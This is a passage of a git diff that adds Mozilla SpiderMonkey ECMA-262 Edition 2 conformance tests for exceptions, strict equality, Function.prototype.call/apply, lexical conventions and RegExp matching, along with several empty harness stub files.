+var expect = "Passed";
+
+try {
+ eval("return;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "return outside of a function" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/string-001.js b/js/src/tests/ecma_2/Exceptions/string-001.js
new file mode 100644
index 000000000..68bfe181c
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/string-001.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: string-001.js
+ Corresponds To: 15.5.4.2-2-n.js
+ ECMA Section: 15.5.4.2 String.prototype.toString()
+
+ Description: Returns this string value. Note that, for a String
+ object, the toString() method happens to return the same
+ thing as the valueOf() method.
+
+ The toString function is not generic; it generates a
+ runtime error if its this value is not a String object.
+ Therefore it connot be transferred to the other kinds of
+ objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+var SECTION = "string-001";
+var VERSION = "JS1_4";
+var TITLE = "String.prototype.toString";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ OBJECT = new Object();
+ OBJECT.toString = String.prototype.toString();
+ result = OBJECT.toString();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "OBJECT = new Object; "+
+ " OBJECT.toString = String.prototype.toString; OBJECT.toString()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/string-002.js b/js/src/tests/ecma_2/Exceptions/string-002.js
new file mode 100644
index 000000000..b68f2a156
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/string-002.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: string-002.js
+ Corresponds To: 15.5.4.3-3-n.js
+ ECMA Section: 15.5.4.3 String.prototype.valueOf()
+
+ Description: Returns this string value.
+
+ The valueOf function is not generic; it generates a
+ runtime error if its this value is not a String object.
+ Therefore it connot be transferred to the other kinds of
+ objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+var SECTION = "string-002";
+var VERSION = "JS1_4";
+var TITLE = "String.prototype.valueOf";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var OBJECT =new Object();
+ OBJECT.valueOf = String.prototype.valueOf;
+ result = OBJECT.valueOf();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "OBJECT = new Object; OBJECT.valueOf = String.prototype.valueOf;"+
+ "result = OBJECT.valueOf();" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Expressions/StrictEquality-001.js b/js/src/tests/ecma_2/Expressions/StrictEquality-001.js
new file mode 100644
index 000000000..c96d1be3e
--- /dev/null
+++ b/js/src/tests/ecma_2/Expressions/StrictEquality-001.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: StrictEquality-001.js
+ * ECMA Section: 11.9.6.js
+ * Description:
+ *
+ * Author: christine@netscape.com
+ * Date: 4 september 1998
+ */
+var SECTION = "StrictEquality-001 - 11.9.6";
+var VERSION = "ECMA_2";
+var TITLE = "The strict equality operator ( === )";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 1. If Type(x) is different from Type(y) return false
+
+StrictEquality( true, new Boolean(true), false );
+StrictEquality( new Boolean(), false, false );
+StrictEquality( "", new String(), false );
+StrictEquality( new String("hi"), "hi", false );
+
+// 2. If Type(x) is not Number go to step 9.
+
+// 3. If x is NaN, return false
+StrictEquality( NaN, NaN, false );
+StrictEquality( NaN, 0, false );
+
+// 4. If y is NaN, return false.
+StrictEquality( 0, NaN, false );
+
+// 5. if x is the same number value as y, return true
+
+// 6. If x is +0 and y is -0, return true
+
+// 7. If x is -0 and y is +0, return true
+
+// 8. Return false.
+
+
+// 9. If Type(x) is String, then return true if x and y are exactly
+// the same sequence of characters ( same length and same characters
+// in corresponding positions.) Otherwise return false.
+
+// 10. If Type(x) is Boolean, return true if x and y are both true or
+// both false. otherwise return false.
+
+
+// Return true if x and y refer to the same object. Otherwise return
+// false.
+
+// Return false.
+
+
+test();
+
+function StrictEquality( x, y, expect ) {
+ result = ( x === y );
+
+ new TestCase(
+ SECTION,
+ x +" === " + y,
+ expect,
+ result );
+}
+
diff --git a/js/src/tests/ecma_2/Expressions/browser.js b/js/src/tests/ecma_2/Expressions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/Expressions/browser.js
diff --git a/js/src/tests/ecma_2/Expressions/shell.js b/js/src/tests/ecma_2/Expressions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/Expressions/shell.js
diff --git a/js/src/tests/ecma_2/FunctionObjects/apply-001-n.js b/js/src/tests/ecma_2/FunctionObjects/apply-001-n.js
new file mode 100644
index 000000000..eac058446
--- /dev/null
+++ b/js/src/tests/ecma_2/FunctionObjects/apply-001-n.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+print("STATUS: f.apply crash test.");
+
+print("BUGNUMBER: 21836");
+
+function f ()
+{
+}
+
+var SECTION = "apply-001-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "f.apply(2,2) doesn't crash";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "f.apply(2,2) doesn't crash";
+EXPECTED = "error";
+
+new TestCase( SECTION, "f.apply(2,2) doesn't crash", "error", eval("f.apply(2,2)") );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/FunctionObjects/browser.js b/js/src/tests/ecma_2/FunctionObjects/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/FunctionObjects/browser.js
diff --git a/js/src/tests/ecma_2/FunctionObjects/call-1.js b/js/src/tests/ecma_2/FunctionObjects/call-1.js
new file mode 100644
index 000000000..9ff19555e
--- /dev/null
+++ b/js/src/tests/ecma_2/FunctionObjects/call-1.js
@@ -0,0 +1,42 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: call-1.js
+ Section: Function.prototype.call
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "call-1";
+var VERSION = "ECMA_2";
+var TITLE = "Function.prototype.call";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "ConvertToString.call(this, this)",
+ GLOBAL,
+ ConvertToString.call(this, this));
+
+new TestCase( SECTION,
+ "ConvertToString.call(Boolean, Boolean.prototype)",
+ "false",
+ ConvertToString.call(Boolean, Boolean.prototype));
+
+new TestCase( SECTION,
+ "ConvertToString.call(Boolean, Boolean.prototype.valueOf())",
+ "false",
+ ConvertToString.call(Boolean, Boolean.prototype.valueOf()));
+
+test();
+
+function ConvertToString(obj) {
+ return obj +"";
+}
diff --git a/js/src/tests/ecma_2/FunctionObjects/shell.js b/js/src/tests/ecma_2/FunctionObjects/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/FunctionObjects/shell.js
diff --git a/js/src/tests/ecma_2/LexicalConventions/browser.js b/js/src/tests/ecma_2/LexicalConventions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/LexicalConventions/browser.js
diff --git a/js/src/tests/ecma_2/LexicalConventions/keywords-001.js b/js/src/tests/ecma_2/LexicalConventions/keywords-001.js
new file mode 100644
index 000000000..411386100
--- /dev/null
+++ b/js/src/tests/ecma_2/LexicalConventions/keywords-001.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name:
+ * ECMA Section:
+ * Description:
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "";
+var VERSION = "ECMA_2";
+var TITLE = "Keywords";
+
+startTest();
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+var result = "failed";
+
+try {
+ eval("super;");
+}
+catch (x) {
+ if (x instanceof SyntaxError)
+ result = x.name;
+}
+
+AddTestCase(
+ "using the expression \"super\" shouldn't cause js to crash",
+ "SyntaxError",
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/LexicalConventions/regexp-literals-001.js b/js/src/tests/ecma_2/LexicalConventions/regexp-literals-001.js
new file mode 100644
index 000000000..cb2448d1e
--- /dev/null
+++ b/js/src/tests/ecma_2/LexicalConventions/regexp-literals-001.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: LexicalConventions/regexp-literals-001.js
+ * ECMA Section: 7.8.5
+ * Description:
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "LexicalConventions/regexp-literals-001.js";
+var VERSION = "ECMA_2";
+var TITLE = "Regular Expression Literals";
+
+startTest();
+
+// Regular Expression Literals may not be empty; // should be regarded
+// as a comment, not a RegExp literal.
+
+s = //;
+
+ "passed";
+
+AddTestCase(
+ "// should be a comment, not a regular expression literal",
+ "passed",
+ String(s));
+
+AddTestCase(
+ "// typeof object should be type of object declared on following line",
+ "passed",
+ (typeof s) == "string" ? "passed" : "failed" );
+
+AddTestCase(
+ "// should not return an object of the type RegExp",
+ "passed",
+ (typeof s == "object") ? "failed" : "passed" );
+
+test();
diff --git a/js/src/tests/ecma_2/LexicalConventions/regexp-literals-002.js b/js/src/tests/ecma_2/LexicalConventions/regexp-literals-002.js
new file mode 100644
index 000000000..5b256dd22
--- /dev/null
+++ b/js/src/tests/ecma_2/LexicalConventions/regexp-literals-002.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: LexicalConventions/regexp-literals-002.js
+ * ECMA Section: 7.8.5
+ * Description: Based on ECMA 2 Draft 8 October 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "LexicalConventions/regexp-literals-002.js";
+var VERSION = "ECMA_2";
+var TITLE = "Regular Expression Literals";
+
+startTest();
+
+// A regular expression literal represents an object of type RegExp.
+
+AddTestCase(
+ "// A regular expression literal represents an object of type RegExp.",
+ "true",
+ (/x*/ instanceof RegExp).toString() );
+
+test();
diff --git a/js/src/tests/ecma_2/LexicalConventions/shell.js b/js/src/tests/ecma_2/LexicalConventions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/LexicalConventions/shell.js
diff --git a/js/src/tests/ecma_2/README b/js/src/tests/ecma_2/README
new file mode 100644
index 000000000..6da6cdd51
--- /dev/null
+++ b/js/src/tests/ecma_2/README
@@ -0,0 +1 @@
+ECMA 262 Edition 2
diff --git a/js/src/tests/ecma_2/RegExp/browser.js b/js/src/tests/ecma_2/RegExp/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/browser.js
diff --git a/js/src/tests/ecma_2/RegExp/constructor-001.js b/js/src/tests/ecma_2/RegExp/constructor-001.js
new file mode 100644
index 000000000..b268ae5ed
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/constructor-001.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/constructor-001.js
+ * ECMA Section: 15.7.3.3
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/constructor-001";
+var VERSION = "ECMA_2";
+var TITLE = "new RegExp()";
+
+startTest();
+
+/*
+ * for each test case, verify:
+ * - verify that [[Class]] property is RegExp
+ * - prototype property should be set to RegExp.prototype
+ * - source is set to the empty string
+ * - global property is set to false
+ * - ignoreCase property is set to false
+ * - multiline property is set to false
+ * - lastIndex property is set to 0
+ */
+
+RegExp.prototype.getClassProperty = Object.prototype.toString;
+var re = new RegExp();
+
+AddTestCase(
+ "RegExp.prototype.getClassProperty = Object.prototype.toString; " +
+ "(new RegExp()).getClassProperty()",
+ "[object RegExp]",
+ re.getClassProperty() );
+
+AddTestCase(
+ "(new RegExp()).source",
+ "(?:)",
+ re.source );
+
+AddTestCase(
+ "(new RegExp()).global",
+ false,
+ re.global );
+
+AddTestCase(
+ "(new RegExp()).ignoreCase",
+ false,
+ re.ignoreCase );
+
+AddTestCase(
+ "(new RegExp()).multiline",
+ false,
+ re.multiline );
+
+AddTestCase(
+ "(new RegExp()).lastIndex",
+ 0,
+ re.lastIndex );
+
+test()
diff --git a/js/src/tests/ecma_2/RegExp/exec-001.js b/js/src/tests/ecma_2/RegExp/exec-001.js
new file mode 100644
index 000000000..18ced9068
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/exec-001.js
@@ -0,0 +1,41 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/exec-001.js
+ * ECMA Section: 15.7.5.3
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/exec-001";
+var VERSION = "ECMA_2";
+var TITLE = "RegExp.prototype.exec(string)";
+
+startTest();
+
+/*
+ * for each test case, verify:
+ * - type of object returned
+ * - length of the returned array
+ * - value of lastIndex
+ * - value of index
+ * - value of input
+ * - value of the array indices
+ */
+
+// test cases without subpatterns
+// test cases with subpatterns
+// global property is true
+// global property is false
+// test cases in which the exec returns null
+
+AddTestCase("NO TESTS EXIST", "PASSED", "Test not implemented");
+
+test();
+
diff --git a/js/src/tests/ecma_2/RegExp/exec-002.js b/js/src/tests/ecma_2/RegExp/exec-002.js
new file mode 100644
index 000000000..86d8ccb9a
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/exec-002.js
@@ -0,0 +1,188 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/exec-002.js
+ * ECMA Section: 15.7.5.3
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Test cases provided by rogerl@netscape.com
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/exec-002";
+var VERSION = "ECMA_2";
+var TITLE = "RegExp.prototype.exec(string)";
+
+startTest();
+
+/*
+ * for each test case, verify:
+ * - type of object returned
+ * - length of the returned array
+ * - value of lastIndex
+ * - value of index
+ * - value of input
+ * - value of the array indices
+ */
+
+AddRegExpCases(
+ /(a|d|q|)x/i,
+ "bcaDxqy",
+ 3,
+ ["Dx", "D"] );
+
+AddRegExpCases(
+ /(a|(e|q))(x|y)/,
+ "bcaddxqy",
+ 6,
+ ["qy","q","q","y"] );
+
+
+AddRegExpCases(
+ /a+b+d/,
+ "aabbeeaabbs",
+ 0,
+ null );
+
+AddRegExpCases(
+ /a*b/,
+ "aaadaabaaa",
+ 4,
+ ["aab"] );
+
+AddRegExpCases(
+ /a*b/,
+ "dddb",
+ 3,
+ ["b"] );
+
+AddRegExpCases(
+ /a*b/,
+ "xxx",
+ 0,
+ null );
+
+AddRegExpCases(
+ /x\d\dy/,
+ "abcx45ysss235",
+ 3,
+ ["x45y"] );
+
+AddRegExpCases(
+ /[^abc]def[abc]+/,
+ "abxdefbb",
+ 2,
+ ["xdefbb"] );
+
+AddRegExpCases(
+ /(a*)baa/,
+ "ccdaaabaxaabaa",
+ 9,
+ ["aabaa", "aa"] );
+
+AddRegExpCases(
+ /(a*)baa/,
+ "aabaa",
+ 0,
+ ["aabaa", "aa"] );
+
+AddRegExpCases(
+ /q(a|b)*q/,
+ "xxqababqyy",
+ 2,
+ ["qababq", "b"] );
+
+AddRegExpCases(
+ /(a(.|[^d])c)*/,
+ "adcaxc",
+ 0,
+ ["adcaxc", "axc", "x"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "abaaaxaabaayy",
+ 0,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "abaaaxaabaayy",
+ 0,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "cccdaaabaxaabaayy",
+ 6,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "cccdaaabqxaabaayy",
+ 7,
+ ["b", ""] );
+
+AddRegExpCases(
+ /"(.|[^"\\\\])*"/,
+ 'xx\"makudonarudo\"yy',
+ 2,
+ ["\"makudonarudo\"", "o"] );
+
+ AddRegExpCases(
+ /"(.|[^"\\\\])*"/,
+ "xx\"ma\"yy",
+ 2,
+ ["\"ma\"", "a"] );
+
+ test();
+
+ function AddRegExpCases(
+ regexp, pattern, index, matches_array ) {
+
+// prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ regexp + ".exec(" + pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+ }
diff --git a/js/src/tests/ecma_2/RegExp/hex-001.js b/js/src/tests/ecma_2/RegExp/hex-001.js
new file mode 100644
index 000000000..04c3a97b9
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/hex-001.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/hex-001.js
+ * ECMA Section: 15.7.3.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Positive test cases for constructing a RegExp object
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/hex-001";
+var VERSION = "ECMA_2";
+var TITLE = "RegExp patterns that contain HexicdecimalEscapeSequences";
+
+startTest();
+
+// These examples come from 15.7.1, HexidecimalEscapeSequence
+
+AddRegExpCases( new RegExp("\x41"), "new RegExp('\\x41')", "A", "A", 1, 0, ["A"] );
+AddRegExpCases( new RegExp("\x412"),"new RegExp('\\x412')", "A2", "A2", 1, 0, ["A2"] );
+
+AddRegExpCases( new RegExp("A"), "new RegExp('A')", "\x41", "\\x41", 1, 0, ["A"] );
+AddRegExpCases( new RegExp("A"), "new RegExp('A')", "\x412", "\\x412", 1, 0, ["A"] );
+AddRegExpCases( new RegExp("^x"), "new RegExp('^x')", "x412", "x412", 1, 0, ["x"]);
+AddRegExpCases( new RegExp("A"), "new RegExp('A')", "A2", "A2", 1, 0, ["A"] );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, length, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ str_regexp + ".exec(" + pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/RegExp/multiline-001.js b/js/src/tests/ecma_2/RegExp/multiline-001.js
new file mode 100644
index 000000000..9e69022d5
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/multiline-001.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/multiline-001.js
+ * ECMA Section:
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Date: 19 February 1999
+ */
+
+var SECTION = "RegExp/multiline-001";
+var VERSION = "ECMA_2";
+var TITLE = "RegExp: multiline flag";
+var BUGNUMBER="343901";
+
+startTest();
+
+var woodpeckers = "ivory-billed\ndowny\nhairy\nacorn\nyellow-bellied sapsucker\n" +
+ "northern flicker\npileated\n";
+
+AddRegExpCases( /.*[y]$/m, woodpeckers, woodpeckers.indexOf("downy"), ["downy"] );
+
+AddRegExpCases( /.*[d]$/m, woodpeckers, woodpeckers.indexOf("ivory-billed"), ["ivory-billed"] );
+
+test();
+
+
+function AddRegExpCases
+( regexp, pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+
+ AddTestCase(
+ regexp.toString() + ".exec(" + pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ regexp.toString() + ".exec(" + pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/RegExp/octal-001.js b/js/src/tests/ecma_2/RegExp/octal-001.js
new file mode 100644
index 000000000..0aa1d0407
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/octal-001.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-001.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/octal-001.js";
+var VERSION = "ECMA_2";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346196";
+
+startTest();
+
+
+// backreference
+AddRegExpCases(
+ /(.)\1/,
+ "/(.)\\1/",
+ "HI!!",
+ "HI!",
+ 2,
+ ["!!", "!"] );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+}
diff --git a/js/src/tests/ecma_2/RegExp/octal-002.js b/js/src/tests/ecma_2/RegExp/octal-002.js
new file mode 100644
index 000000000..309fff473
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/octal-002.js
@@ -0,0 +1,93 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-002.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/octal-002.js";
+var VERSION = "ECMA_2";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346189";
+
+startTest();
+
+// backreference
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)\8/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)\\8",
+ "aabbccaaabbbccc",
+ "aabbccaaabbbccc",
+ 0,
+ ["aabbccaaa", "a", "a", "b", "b", "c", "c", "a", "a"] );
+
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)(.)\9/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)\\9",
+ "aabbccaabbcc",
+ "aabbccaabbcc",
+ 0,
+ ["aabbccaabb", "a", "a", "b", "b", "c", "c", "a", "a", "b"] );
+
+AddRegExpCases(
+ /(.)(.)(.)(.)(.)(.)(.)(.)(.)\8/,
+ "/(.)(.)(.)(.)(.)(.)(.)(.)(.)\\8",
+ "aabbccaababcc",
+ "aabbccaababcc",
+ 0,
+ ["aabbccaaba", "a", "a", "b", "b", "c", "c", "a", "a", "b"] );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
